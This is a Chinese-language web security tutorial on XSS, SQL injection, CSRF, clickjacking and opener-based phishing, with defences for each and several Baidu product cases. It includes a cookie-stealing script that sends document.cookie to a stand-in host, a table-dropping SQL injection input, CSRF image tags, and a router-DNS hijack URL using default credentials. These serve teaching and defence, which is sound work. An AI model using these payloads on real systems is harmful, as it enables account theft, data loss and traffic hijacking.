Web安全技术(4)-常见的攻击和防御

对于一个Web应用来说，可能会面临很多不同的攻击。下面的内容将介绍一些常见的攻击方法，以及面对这些攻击的防御手段。

一、跨站脚本攻击（XSS）

跨站脚本攻击的英文全称是Cross Site Script，为了和样式表区分，缩写为XSS。发生的原因是网站将用户输入的内容输出到页面上，在这个过程中可能有恶意代码被浏览器执行。

跨站脚本攻击可以分为两种：

1). 反射型XSS

它是通过诱使用户打开一个恶意链接，服务端将链接中参数的恶意代码渲染到页面中，再传递给用户由浏览器执行，从而达到攻击的目的。如下面的链接：

http://a.com/a.jsp?name=xss<script>alert(1)</script> 

a.jsp将页面渲染成下面的html：

Hello xss<script>alert(1)</script> 

这时浏览器将会弹出提示框。

2). 持久型XSS

持久型XSS将恶意代码提交给服务器，并且存储在服务器端，当用户访问相关内容时再渲染到页面中，以达到攻击的目的，它的危害更大。

比如，攻击者写了一篇带恶意JS代码的博客，文章发表后，所有访问该博客文章的用户都会执行这段恶意JS。

Cookie劫持

Cookie中一般保存了当前用户的登录凭证，如果可以得到，往往意味着可直接进入用户帐户，而Cookie劫持也是最常见的XSS攻击。以上面提过的反射型XSS的例子来说，可以像下面这样操作：

首先诱使用户打开下面的链接：

http://a.com/a.jsp?name=xss<script src=http://b.com/b.js></script> 

用户打开链接后，会加载b.js，并执行b.js中的代码。b.js中存储了以下JS代码：

var img = document.createElement("img"); img.src = "http://b.com/log?" + escape(document.cookie); document.body.appendChild(img); 

上面的代码会向b.com请求一张图片，但实际上是将当前页面的cookie发到了b.com的服务器上。这样就完成了窃取cookie的过程。

防御Cookie劫持的一个简单的方法是在Set-Cookie时加上HttpOnly标识，浏览器禁止JavaScript访问带HttpOnly属性的Cookie。

XSS的防御

1). 输入检查

对输入数据做检查，比如用户名只允许是字母和数字，邮箱必须是指定格式。一定要在后台做检查，否则数据可能绕过前端检查直接发给服务器。一般前后端都做检查，这样前端可以挡掉大部分无效数据。

对特殊字符做编码或过滤，但因为不知道输出时的语境，所以可能会做不适当的过滤，最好是在输出时具体情况具体处理。

2). 输出检查

对渲染到HTML中内容执行HtmlEncode，对渲染到JavaScript中的内容执行JavascriptEncode。

另外还可以使用一些做XSS检查的开源项目。

二、SQL注入

SQL注入常常会听到，它与XSS类似，是由于用户提交的数据被当成命令来执行而造成的。下面是一个SQL注入的例子：

String sql = "select * from user where username = '" + username + "'"; 

像上面的SQL语句，如果用户提交的username参数是leo，则数据库执行的SQL为：

select * from user where username = 'leo' 

但如果用户提交的username参数是leo’; drop table user–，那执行的SQL为：

select * from user where username = 'leo'; drop table user--' 

在查询数据后，又执行了一个删除表的操作，这样的后果非常严重。

SQL注入的防御

防止SQL注入最好的方法是使用预编译语句，如下面所示：

String sql = "select * from user where username = ?"; PreparedStatement pstmt = conn.prepareStatement(sql); pstmt.setString(1, username); ResultSet results = pstmt.executeQuery(); 

不同语言的预编译方法不同，但基本都可以处理。

如果遇到无法使用预编译方法时，只能像防止XSS那样对参数进行检查和编码。

三、跨站请求伪造（CSRF）

跨站请求伪造的英文全称是Cross Site Request Forgery，是由于操作所需的所有参数都能被攻击者得到，进而构造出一个伪造的请求，在用户不知情的情况下被执行。看下面一个例子：

如果a.com网站需要用户登录后可以删除博客，删除博客的请求地址如下：

GET http://a.com/blog/delete?id=1 

当用户登录a.com后，又打开了http://b.com/b.html，其中有下面的内容：

<img src="http://a.com/blog/delete?id=1"/> 

这时会以用户在a.com的身份发送http://a.com/blog/delete?id=1，删除那篇博客。

CSRF的防御

1. 验证码

CSRF是在用户不知情的情况下构造的网络情况，验证码则强制用户与应用交互，所以验证码可以很好得防止CSRF。但不能什么请求都加验证码。

1. referer检查

检查请求header中的referer也能帮助防止CSRF攻击，但服务器不是总能拿到referer，浏览器可能出于安全或隐私而不发送referer，所以也不常用。倒是图片防盗链中用得很多。

1. Anti CSRF Token

更多的是生成一个随机的token，在用户提交数据的同时提交这个token，服务器端比对后如果不正确，则拒绝执行操作。

四、点击劫持（ClickJacking）

点击劫持是从视觉上欺骗用户。攻击者使用一个透明的iframe覆盖在一个网页上，诱使用户在该网页上操作，而实际点击却是点在透明的iframe页面。

点击劫持延伸出了很多攻击方式，有图片覆盖攻击、拖拽劫持等。

点击劫持的防御

针对iframe的攻击，可使用一个HTTP头：X-Frame-Options，它有三种可选值：

• DENY： 禁止任何页面的frame加载；
• SAMEORIGIN：只有同源页面的frame可加载；
• ALLOW-FROM：可定义允许frame加载的页面地址。

针对图片覆盖攻击，则注意使用预防XSS的方法，防止HTML和JS注入。

 

 

 

 

 

0x00 禁止一切外链资源

---

外链会产生站外请求，因此可以被利用实施 CSRF 攻击。

目前国内有大量路由器存在 CSRF 漏洞，其中相当部分用户使用默认的管理账号。通过外链图片，即可发起对路由器 DNS 配置的修改，这将成为国内互联网最大的安全隐患。

案例演示

百度旅游在富文本过滤时，未考虑标签的 style 属性，导致允许用户自定义的 CSS。因此可以插入站外资源：

所有浏览该页面的用户，都能发起任意 URL 的请求：

由于站外服务器完全不受控制，攻击者可以控制返回内容： 如果检测到是管理员，或者外链检查服务器，可以返回正常图片； 如果是普通用户，可以返回 302 重定向到其他 URL，发起 CSRF 攻击。例如修改路由器 DNS：

http://admin:admin@192.168.1.1/userRpm/PPPoECfgAdvRpm.htm?wan=0&lcpMru=1480&ServiceName=&AcName=&EchoReq=0&manual=2&dnsserver=黑客服务器&dnsserver2=4.4.4.4&downBandwidth=0&upBandwidth=0&Save=%B1%A3+%B4%E6&Advanced=Advanced

演示中，随机测试了几个帖子，在两天时间里收到图片请求 500 多次，已有近 10 个不同的 IP 开始向我们发起 DNS 查询。

通过中间人代理，用户的所有隐私都能被捕捉到。还有更严重的后果，查考流量劫持危害探讨

要是在热帖里『火前留名』，那么数量远不止这些。

如果使用发帖脚本批量回复，将有数以万计的用户网络被劫持。

防范措施

杜绝用户的一切外链资源。需要站外图片，可以抓回后保存在站内服务器里。 对于富文本内容，使用白名单策略，只允许特定的 CSS 属性。 尽可能开启 Content Security Policy 配置，让浏览器底层来实现站外资源的拦截。

0x01 富文本前端扫描

---

富文本是 XSS 的重灾区。

富文本的实质是一段 HTML 字符。由于历史原因，HTML 兼容众多不规范的用法，导致过滤起来较复杂。几乎所有使用富文本的产品，都曾出现过 XSS 注入。

案例演示

旅游发帖支持富文本，我们继续刚才的演示。

由于之前已修复过几次，目前只能注入 embed 标签和 src 属性。 但即使这样，仍然可以嵌入一个框架页面：

因为是非同源执行的 XSS，所以无法获取主页面的信息。但是可以修改 top.location，将页面跳转到第三方站点。

将原页面嵌入到全屏的 iframe 里，伪造出相同的界面。然后通过浮层登录框，进行钓鱼。

总之，富文本中出现可执行的元素，页面安全性就大打折扣了。

防范措施

这里不考虑后端的过滤方法，讲解使用前端预防方案： 无论攻击者使用各种取巧的手段，绕过后端过滤，但这些 HTML 字符最终都要在前端构造成元素，并渲染出来。

因此可以在 DOM 构造之后、渲染之前，对离屏的元素进行风险扫描。将可执行的元素（script，iframe，frame，object，embed，applet）从缓存中移除。

或者给存在风险的元素，加上沙箱隔离属性。

例如 iframe 加上 sandbox 属性，即可只显示框架内容而不运行脚本 例如 Flash 加上 allowScriptAccess 及 allowNetworking，也能起到一定的隔离作用。

DOM 仅仅被构造是不会执行的，只有添加到主节点被渲染时才会执行。所以这个过程中间，可以实施安全扫描。

实现细节可以参考：http://www.etherdream.com/FunnyScript/richtextsaferender.html

如果富文本是直接输入到静态页面里的，可以考虑使用 MutationEvent 进行防御。详细参考：http://fex.baidu.com/blog/2014/06/xss-frontend-firewall-2/

但推荐使用动态方式进行渲染，可扩展性更强，并且性能消耗最小。

0x02 跳转 opener 钓鱼

---

浏览器提供了一个 opener 属性，供弹出的窗口访问来源页。但该规范设计的并不合理，导致通过超链接打开的页面，也能使用 opener。

因此，用户点了网站里的超链接，导致原页面被打开的第三方页面控制。

虽然两者受到同源策略的限制，第三方无法访问原页面内容，但可以跳转原页面。

由于用户的焦点在新打开的页面上，所以原页面被悄悄跳转，用户难以觉察到。当用户切回原页面时，其实已经在另一个钓鱼网站上了。

案例演示

百度贴吧目前使用的超链接，就是在新窗口中弹出，因此同样存在该缺陷。

攻击者发一个吸引用户的帖子。当用户进来时，引诱他们点击超链接。

通常故意放少部分的图片，或者是不会动的动画，先让用户预览一下。要是用户想看完整的，就得点下面的超链接：

由于扩展名是 gif 等图片格式，大多用户就毫无顾虑的点了。

事实上，真正的类型是由服务器返回的 MIME 决定的。所以这个站外资源完全有可能是一个网页：

当用户停留在新页面里看动画时，隐匿其中的脚本已悄悄跳转原页面了。

用户切回原页面时，其实已在一个钓鱼网站上：

在此之上，加些浮层登录框等特效，很有可能钓到用户的一些账号信息。

防范措施

该缺陷是因为 opener 这个属性引起的，所以得屏蔽掉新页面的这个属性。

但通过超链接打开的网页，无法被脚本访问到。只有通过 window.open 弹出的窗口，才能获得其对象。

所以，对页面中的用户发布的超链接，监听其点击事件，阻止默认的弹窗行为，而是用 window.open 代替，并将返回窗体的 opener 设置为 null，即可避免第三方页面篡改了。

详细实现参考：http://www.etherdream.com/FunnyScript/opener_protect.html

当然，实现中无需上述 Demo 那样复杂。根据实际产品线，只要监听用户区域的超链接就可以。

0x03 用户内容权限

---

支持自定义装扮的场合，往往是钓鱼的高发区。

一些别有用心者，利用装扮来模仿系统界面，引诱用户上钩。

案例演示 - 空间越界

百度空间允许用户撰写自定格式的内容。

其本质是一个富文本编辑器，这里不演示 XSS 漏洞，而是利用样式装扮，伪装一个钓鱼界面。

百度空间富文本过滤元素、部分属性及 CSS 样式，但未对 class 属性启用白名单，因此可以将页面上所有的 CSS 类样式，应用到自己的内容上来。

防范措施

规定用户内容尺寸限制，可以在提交时由用户自己确定。

不应该为用户的内容分配无限的尺寸空间，以免恶意用户设置超大字体，破坏整个页面的浏览。

最好将用户自定义的内容嵌套在 iframe 里，以免影响到页面其他部位。

如果必须在同页面，应将用户内容所在的容器，设置超过部分不可见。以免因不可预测的 BUG，导致用户能将内容越界到产品界面上。

案例演示 - 功能越界

自定义装扮通常支持站外超链接。

相比贴吧这类简单纯文字，富文本可以将超链接设置在其他元素上，例如图片。

因此这类链接非常具有迷惑性，用户不经意间就点击到。很容易触发之前提到的修改 opener 钓鱼。

如果在图片内容上进行伪装，更容易让用户触发一些危险操作。

要是和之前的区域越界配合使用，迷惑性则更强：

防范措施

和之前一样，对于用户提供的超链接，在点击时进行扫描。如果是站外地址，则通过后台跳转进入，以便后端对 URL 进行安全性扫描。

如果服务器检测到是一个恶意网站，或者目标资源是可执行文件，应给予用户强烈的警告，告知其风险。

0x04 点击劫持检测

---

点击劫持算是比较老的攻击方式了，基本原理大家也都听说过。就是在用户不知情的前提下，点击隐藏框架页面里的按钮，触发一些重要操作。

但目前在点击劫持上做防御的并不多，包括百度绝大多数产品线目前都未考虑。

案例演示

能直接通过点击完成的操作，比较有意义的就是关注某用户。例如百度贴吧加关注的按钮：

攻击者事先算出目标按钮的尺寸和坐标，将页面嵌套在自己框架里，并设置框架的偏移，最终只显示按钮：

接着通过 CSS 样式，将目标按钮放大，占据整个页面空间，并设置全透明。

这时虽看不到按钮，但点击页面任意位置，都能触发框架页中加关注按钮的点击：

防范措施

事实上，点击劫持是很好防御的。

因为自身页面被嵌套在第三方页面里，只需判断 self == top 即可获知是否被嵌套。

对一些重要的操作，例如加关注、删帖等，应先验证是否被嵌套。如果处于第三方页面的框架里，应弹出确认框提醒用户。

确认框的坐标位置最好有一定的随机偏移，从而使攻击者构造的点击区域失效。